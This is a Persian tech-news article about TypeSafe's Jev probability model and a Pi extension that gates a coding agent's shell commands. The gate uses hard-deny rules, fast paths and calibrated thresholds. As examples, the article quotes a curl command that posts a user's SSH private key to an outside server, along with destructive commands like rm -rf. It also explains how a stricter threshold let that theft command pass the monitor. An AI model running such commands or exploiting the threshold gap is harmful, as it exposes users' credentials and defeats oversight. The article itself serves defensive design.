پرش به محتوای اصلی
پرش به محتوای مقاله

مدل Jev: کاهش اصطکاک توسعه‌دهندگان با جایگزینی تأییدات دستی

·۲۶ شهریور ۱۴۰۵۹ دقیقه مطالعه۱ بازدید
دروازه احتمالاتی Jev + Pi برای دستورات پوسته عامل کدنویسی من
دروازه احتمالاتی Jev + Pi برای دستورات پوسته عامل کدنویسی من
اشتراک‌گذاری
واقعاً چه چیز جدید است؟

معرفی مدل Jev به‌عنوان یک مدل تصمیم‌گیر (Decision-only) که به‌جای تولید متن، احتمال ایمنی را برمی‌گرداند و تأخیر تأیید دستورات را از چند ثانیه به زیر ۶۰۰ میلی‌ثانیه می‌رساند.

تصور کنید برنامه‌نویسی هستید که از یک عامل هوشمند برای مدیریت ترمینال استفاده می‌کند، اما هر ۱۰ ثانیه باید یک دکمه را بزند تا اجازه دهد مدل یک دستور ساده را اجرا کند. این وضعیت منجر به «خستگی از تأیید» (approval fatigue) می‌شود؛ جایی که شما از شدت تکرار، بدون خواندن دستورات، روی «بله» کلیک می‌کنید و دقیقاً همین‌جاست که فاجعه رخ می‌دهد. توسعه‌دهندگان پس از تأیید مجموعه‌ای از عملیات‌های بی‌خطر، دیگر آرگومان‌های دستورات را نمی‌خوانند.

به نقل از مستندات TypeSafe، این شرکت در ۱۵ سپتامبر ۲۰۲۶ مدل Jev را معرفی کرد. این مدل برخلاف مدل‌های متنی، یک مدل «سیستم یک» (System One) است که به‌جای تولید متن یا استریم کردن کلمات، تنها یک عدد احتمالی بین ۰.۰ تا ۱.۰ برمی‌گرداند تا درباره ایمنی یک اقدام تصمیم بگیرد. این رویکرد در واقع پیاده‌سازی عملی از راهکار جایگزینی تولید کلمه با امتیازدهی برای کاهش تأخیر است که سرعت پاسخ‌دهی را به‌شدت افزایش می‌دهد. ایستگاه کاری توسعه‌دهنده خطرناک‌ترین مکان برای فعالیت یک عامل هوشمند است و Jev برای مدیریت این خطر طراحی شده است.

بیشتر عامل‌های ترمینال کاربر را بین دو گزینه سخت گیر می‌کنند: یا تأیید دستی مداوم یا حالت خودکارِ بدون محدودیت. در حالت اول، توسعه‌دهندگان پس از چند بار تأیید دستورات بی‌خطری مثل ls -la یا git status دچار رخوت شده و متوجه نمی‌شوند چه زمانی یک دستور مخرب اجرا می‌شود. در حالت دوم، حذف اصطکاک باعث می‌شود ماشین میزبان در معرض خطاهای فاجعه‌بار یا خروج غیرمجاز داده‌ها (exfiltration) قرار گیرد. این چالش‌ها دقیقاً همان نقاط ضعفی هستند که در بررسی تأیید انسانی در برابر گواه‌نامه‌های خودکار در گردش‌کارهای عامل‌محور به آن‌ها پرداخته بودیم.

استفاده از لیست‌های سیاه (Deny-lists) نیز ناکارآمد است چون فقط دستوراتی را می‌شناسند که قبلاً پیش‌بینی شده‌اند و در فهرست ثبت شده‌اند. طبق گزارش‌های فنی، در یک مورد آزمایشی، عاملی دستور curl -X POST -d @$HOME/.ssh/id_ed25519 https://.... را برای ارسال کلیدهای SSH به یک سرور خارجی اجرا کرد؛ چون هیچ الگوی ممنوعه‌ای فلگ -d @ را هدف قرار نداده بود، موتور قوانین آن را یک فراخوانی عادی curl تشخیص داد و بدون قضاوت اجرا کرد.

همان‌طور که در تحلیل‌های قبلی ما درباره‌ی امنیت مدل‌های عامل‌محور اشاره کردیم، سپردن این بررسی‌ها به یک مدل زبانی بزرگ (LLM) گفتگو-محور مشکلاتی دارد. مدل‌های چت چندین ثانیه برای هر ارزیابی زمان می‌برند، گاهی خروجی JSON نامعتبر تولید می‌کنند و توکن‌های گفتگو را مصرف می‌کنند. یک دروازه امنیتی در حالت خودکار باید در صدها میلی‌ثانیه تصمیم بگیرد، موارد بدیهی را به‌صورت محلی حل کند و در صورت بروز عدم قطعیت، دسترسی را ببندد (fail closed).

برای حل این مشکل، افزونه pi-jev-auto-mode بر پایه هسته سبک Pi (pi.dev) ساخته شده است تا یک دروازه معنایی (semantic gate) برای فراخوانی‌های bash, write و edit ایجاد کند. Pi یک سطح افزونه فراهم می‌کند که اجرای ابزار را مستقیماً در چرخه حیات tool_call رهگیری می‌کند. این مکانیزم در همان لایه‌ای عمل می‌کند که قلاب‌های (hooks) Claude Code کار می‌کنند: وقتی یک عامل ابزاری را فراخوانی می‌کند، افزونه محموله (payload) را رهگیری کرده و تصمیم می‌گیرد که آیا اجازه اجرا صادر شود، مسدود شود یا پیش از ایجاد زیرپردازش (subprocess) یا نوشتن روی دیسک، تأییدیه گرفته شود.

موتور تصمیم‌گیری دو مرحله‌ای

این سیستم ابتدا از یک موتور قوانین محلی استفاده می‌کند تا تأخیر را به صفر برساند و از طبقه‌بندی اشتباه مدل جلوگیری کند. این قوانین اولویت مطلق دارند و مدل Jev نمی‌تواند آن‌ها را لغو کند:

  • الگوهای ممنوعه سخت (Hard-deny): دستورات تخریبی مثل حذف بازگشتی ریشه (rm -rf /)، حذف دایرکتوری Home یا نوشتن در دایرکتوری‌های سیستمی فوراً مسدود می‌شوند. در این حالت Jev فراخوانی نمی‌شود تا تأخیر حذف شود.
  • مسیرهای سریع (Fast-path): عملیات‌های تأیید شده ایمن بدون فراخوانی API عبور می‌کنند. این‌ها شامل دستورات فقط-خواندنی (cat, ls, grep, git log)، زنجیره‌ای از دستورات فقط-خواندنی (مثلاً cd src && ls -la && git log -3) و ویرایش فایل‌های محافظت‌نشده در مخزن پروژه است.
  • الگوهای مجاز کاربر: دستوراتی که با یک الگوی صریح در allowedCommands مطابقت دارند، عبور کرده و یک ورودی حسابرسی (audit entry) در تاریخچه جلسه ثبت می‌کنند.

هر چیزی که از این قوانین عبور کند، تحت تنظیم gateScope: all به مدل Jev ارسال می‌شود. چون لیست سیاه فقط سینتکس‌های نوشته شده را می‌گیرد، پیش‌فرض این است که هر چیز دیگری به Jev نشان داده شود. داده‌های ارسالی به Jev به‌شدت محدود به رشته دستور یا مسیر هدف، دایرکتوری کاری، آخرین پرامپت کاربر و یادداشت‌های سیاست محلی است. افزونه هرگز محتوای فایل‌ها، diffها یا خروجی‌های قبلی ترمینال را ارسال نمی‌کند. همچنین الگوهای حساس مانند کلیدهای API، توکن‌ها و هدرهای کلید خصوصی پیش از ارسال به‌صورت محلی سانسور (redact) می‌شوند.

کالیبراسیون شکاف احتمالی

توسعه‌دهندگان برای تعیین آستانه ایمنی، ۱۸ مورد واقعی (API fixtures) را علیه API زنده Jev آزمایش کردند. نتایج نشان داد که توزیع احتمالات برای «تطابق با قصد کاربر» (intent_coverage) به‌شدت دوقطبی است:

  • دستورات درخواستی: امتیازی بین ۰.۷۷ تا ۰.۹۸ گرفتند.
  • دستورات غیردرخواستی: امتیازی بین ۰.۰۶ تا ۰.۱۵ کسب کردند.

در تمام ۱۸ مورد، هیچ اندازه‌گیری‌ای در بازه ۰.۱۵ تا ۰.۷۷ قرار نگرفت. به دلیل این شکاف خالی، آستانه پیش‌فرض روی ۰.۶۰ تنظیم شد. این اجازه می‌دهد سیستم با دقت بالا قصد کاربر را تشخیص دهد؛ به‌طوری که دستورات خطرناک غیردرخواستی مثل git reset --hard ، npm publish ، rm -rf و sudo (که امتیاز ۰.۰۴ تا ۰.۱۱ گرفتند) مسدود شوند، اما دستورات عادی غیردرخواستی مثل mkdir ، mv ، cp ، tar ، chmod +x و node -e اجازه اجرا یابند.

دروازه احتمالاتی Jev و Pi برای دستورات پوسته عامل کدنویسی من

مکانیزم تشخیص مخاطرات

برخلاف تشخیص قصد، شناسایی مخاطرات مانند یک ردیاب تخلف عمل می‌کند. Jev شرایط را به‌صورت مثبت ارزیابی می‌کند (عدد بالا یعنی ایمن). این شرایط شامل موارد زیر است:

  • intent_coverage (تطابق با قصد)
  • no_secret_egress (عدم خروج داده‌های حساس)
  • no_irreversible_damage (عدم آسیب بازگشت‌ناپذیر)
  • local_scope (محدوده محلی)
  • path_not_protected (مسیر محافظت‌نشده)
  • no_fetched_code_execution (عدم اجرای کد دریافت شده)
  • prompt_injection_absent (عدم وجود تزریق پرامپت)
  • policy_compliance (رعایت سیاست‌ها)
  • no_outward_effect (عدم اثر خارجی)

حتی دستورات ایمنی مثل uv run pytest ممکن است در بخش no_secret_egress امتیاز پایینی (تا ۰.۹۱) بگیرند، چون مدل نمی‌داند تست‌رانر در زمان اجرا چه چیزی را import می‌کند. اگر شرط p ≥ t برای همه این‌ها اجباری شود، دستورات ایمن به باند نامشخص منتقل می‌شوند. بنابراین، سیستم از سه باند خروجی بر اساس آستانه t (که ۰.۵ < t ≤ ۱.۰ است) استفاده می‌کند:

۱. تأیید شده (Satisfied): p ≥ t (دستور اجرا می‌شود)
۲. تخلف (Violated): p ≤ 1 - t (دستور مسدود می‌شود)
۳. نامشخص (Unclear): 1 - t < p < t (پیش‌فرض: دستور اجرا می‌شود تا خستگی کاربر کاهش یابد)

رفتارهای سخت‌گیرانه‌تر از طریق دستور /jev-auto-mode uncertain deny (مسدود کردن موارد نامشخص) یا /jev-auto-mode uncertain ask (درخواست تأیید) در دسترس است. اگر کلید API موجود نباشد، دروازه با پیام «Not connected to Jev» بسته می‌شود. کاربران می‌توانند با /jev-auto-mode login وارد شوند یا با /jev-auto-mode off قابلیت را غیرفعال کنند.

خطر آستانه‌های متقارن

یک یافته حیاتی این است که افزایش آستانه برای سخت‌گیرانه‌تر شدن، می‌تواند به‌طور اتفاقی مرز رد کردن را کوچک کند. در یک سیستم سه-باندی که شرایط ایمنی مثبت تعریف شده‌اند، مرز تخلف به صورت p ≤ 1 - t تعریف می‌شود.

برای مثال، در آستانه ۰.۹۷ برای no_secret_egress ، نقطه قطع تخلف p ≤ ۰.۰۳ است. اگر کاربر آستانه را به ۰.۹۹ برساند تا «ایمن‌تر» شود، نقطه قطع تخلف به p ≤ ۰.۰۱ تغییر می‌کند.

در آزمایش‌ها، یک دستور سرقت اعتبار با استفاده از curl -X POST -d @$HOME/.ssh/id_ed25519 امتیاز ۰.۰۲ گرفت.

  • در t = 0.97: مقدار ۰.۰۲ ≤ ۰.۰۳ است. دستور تخلف است و مسدود می‌شود.
  • در t = 0.99: مقدار ۰.۰۲ > ۰.۰۱ است. دستور وارد باند «نامشخص» شده و اجازه اجرا می‌یابد.

این ثابت می‌کند که سخت‌تر کردن آستانه باعث شد یک مخاطره شدید عبور کند. آستانه‌ها را نمی‌توان بر اساس شهود تنظیم کرد؛ کالیبراسیون هر شرط نیازمند اندازه‌گیری‌های تجربی روی دستورات خاصی است که می‌خواهید متوقف کنید.

عملکرد و یکپارچگی

تأخیر دغدغه اصلی عامل‌های ترمینال است. فراخوانی‌های مورد قضاوت Jev در ۱۱ دستور شل، بین ۱۹۳ تا ۶۴۲ میلی‌ثانیه زمان بردند که بسیار سریع‌تر از توقف‌های چند ثانیه‌ای LLMهای گفتگو-محور است. فراخوانی‌های مسیر سریع (Fast-path) چون نیاز به درخواست شبکه ندارند، تأخیر ۰ میلی‌ثانیه‌ای دارند.

قضاوت‌ها از طریق pi.appendEntry به تاریخچه جلسه اضافه می‌شوند. این رکورد حسابرسی توکن‌های کانتکست LLM را مصرف نمی‌کند و هر شرط را با احتمال مشاهده شده و آستانه فعال ثبت می‌کند. مثال:
intent_coverage p=0.97 pass (t=0.60, >= 0.60)
no_secret_egress p=0.98 pass (t=0.97, >= 0.97)
local_scope p=0.89 ignored (t=0.90, 0.10-0.90)

پیاده‌سازی و محدودیت‌ها

این افزونه از طریق npm در دسترس است و با دستور pi install npm:pi-jev-auto-mode یا pi install git:github.com/jomatsu/pi-jev-auto-mode نصب می‌شود. این ابزار به کلید API TypeSafe نیاز دارد که از طریق GET /v1/models تأیید شده و با مجوز 0600 در مسیر <agentDir>/secrets/jev-auto-mode-typesafe-api-key ذخیره می‌شود. متغیر محیطی TYPESAFE_API_KEY اولویت دارد.

دستورات زمان اجرا وضعیت را مدیریت می‌کنند:

  • /jev-auto-mode on / /jev-auto-mode off
  • /jev-auto-mode status
  • /jev-auto-mode threshold / /jev-auto-mode threshold edit
  • /jev-auto-mode scope all|matched
  • /jev-auto-mode uncertain deny|ask|allow
  • /jev-auto-mode policy

تنظیمات جهانی در ~/.pi/agent/jev-auto-mode.json (قابل بازنویسی در .pi/jev-auto-mode.json هر مخزن) قرار دارند و شامل موارد زیر هستند:

  • enabled: فعال یا غیرفعال کردن افزونه.
  • safeCommands: عملیات‌هایی که محلی ایمن شناخته شده‌اند (مثل uv run pytest*) و بدون ثبت حسابرسی از Jev عبور می‌کنند.
  • allowedCommands: الگوهای خطرناک خاص (مثل rm -rf build*) که مجاز هستند اما در تاریخچه ثبت می‌شوند.
  • disallowedCommands: مسدودسازی‌های صریح (مثل npm publish*).
  • uncertain: سیاست برای باند میانی (allow, deny, یا ask).
  • gateScope: تعیین اینکه آیا همه فراخوانی‌ها یا فقط موارد مطابقت یافته به Jev ارسال شوند.
  • thresholds: مقادیر هر شرط (مثلاً intent_coverage: 0.6).

با این حال، نویسنده به چندین محدودیت حیاتی اشاره می‌کند:

  • سندباکس نیست: فایل‌سیستم را ایزوله نمی‌کند، دستورات را در کانتینر اجرا نمی‌کند و System Callها را فیلتر نمی‌کند. دستورات تأیید شده مستقیماً روی میزبان اجرا می‌شوند.
  • بازرسی متنی: رشته‌ها و مسیرها را تحلیل می‌کند؛ نمی‌تواند رفتار پویا یا باینری‌های کامپایل‌شده دلخواه را پیش‌بینی کند.
  • بنچمارک محدود: ۱۸ مورد آزمایشی یک مجموعه کالیبراسیون تجربی برای جداسازی باندها هستند، نه یک بنچمارک جامع صنعتی.
  • نوسان احتمالی: امتیازات ممکن است در اجراهای مختلف حدود ±۰.۰۵ تغییر کنند، یعنی مقادیر نزدیک به مرز ممکن است جابجا شوند.
  • پذیرش پیش‌فرض: فراخوانی‌های نامشخص به‌طور پیش‌فرض اجرا می‌شوند تا مزاحم توسعه‌دهنده نشوند. برای مدل Zero-trust، باید uncertain: deny تنظیم شود.

این تغییر به سمت دروازه‌های مبتنی بر احتمال، این فرض را تغییر می‌دهد که ایمنی AI باید انتخابی دوتایی بین یک لیست سیاه سخت‌گیرانه و یک بازبین کندِ مبتنی بر چت باشد. با تبدیل ایمنی به یک احتمال کالیبره شده، توسعه‌دهندگان می‌توانند جریان کاری خود را حفظ کنند بدون اینکه سیستم خود را در برابر یک rm -rf توهم‌زده از دست بدهند.

گام بعدی شما

  • اگر از عامل‌های کدنویسی استفاده می‌کنید، مدل‌های تصمیم‌گیر (Decision-only) را جایگزین تأییدات دستی کنید.
  • آستانه‌های ایمنی را بر اساس دستورات پرتکرار محیط کاری خود کالیبره کنید، نه بر اساس حدس.
  • برای محیط‌های حساس، تنظیم uncertain: deny را فعال کنید تا هر مورد مشکوکی مسدود شود.

اما داستان سخت‌افزاری این تحول حتی شگفت‌انگیزتر است — به تحلیل ما درباره‌ی تراشه‌های Blackwell مراجعه کنید.

چرا این موضوع مهم است؟

این رویکرد با کاهش اصطکاک بین توسعه‌دهنده و عامل، پذیرش ابزارهای Agentic را در محیط‌های عملیاتی افزایش می‌دهد. تکیه بر کالیبراسیون احتمالی به‌جای لیست‌های سیاه، استانداردی جدید برای ایمنی در سطح سیستم‌عامل ایجاد می‌کند.

تأثیر برای ایران

به‌دلیل نیاز به کلید API شرکت TypeSafe، دسترسی توسعه‌دهندگان ایرانی به این افزونه در حال حاضر محدود به داشتن حساب‌های فعال و دور زدن محدودیت‌های احتمالی است.

·نگاه ما
تحریریه دات‌هوش

جایگزینی مدل‌های زبانی حجیم با مدل‌های تصمیم‌گیرِ تک‌عددی، یک چرخش هوشمندانه برای حل مشکل تأخیر (Latency) در عامل‌های هوشمند است. این رویکرد نشان می‌دهد که برای هر لایه از معماری عامل، نیازی به «تولید متن» نیست و گاهی یک رگرسیون احتمالی دقیق‌تر و سریع‌تر از یک استدلال متنی عمل می‌کند. نکته کلیدی در اینجا، پذیرش ماهیت احتمالی ایمنی به‌جای نگاه باینری (سیاه و سفید) به دسترسی‌هاست.

منابع

این گزارش با خط‌لولهٔ خودکار دات‌هوش از منابع معتبر جهانی تدوین و زیر نظر تحریریه منتشر شده است. روش کار ما

گفتگو

پنج‌شنبه‌های هوش‌محور

بسته‌ی هفتگی دات‌هوش

۵ خبر، ۲ ابزار، ۱ پرامپت در هر شماره. به‌زودی راه‌اندازی می‌شود — هر پنج‌شنبه صبح.

خبر کلیدی
ابزار کاربردی
پرامپت حرفه‌ای
تحلیل پژوهش
به‌زودی
زاویه‌ی ایرانی
به‌زودی
تمرین این هفته
به‌زودی

راهنماهای دات‌هوش

راهنماهای کاربردیِ دات‌هوش برای کار با هوش مصنوعی — از همین‌جا شروع کنید:

دات‌هوش

راهنمای فارسی هوش مصنوعی — با نگاه به ایران

اخبار روزانه، معرفی ابزارها و مدل‌ها، و آموزشِ کار با هوش مصنوعی؛ همیشه با این پرسش که از ایران چه چیزی کار می‌کند و چه چیزی نه.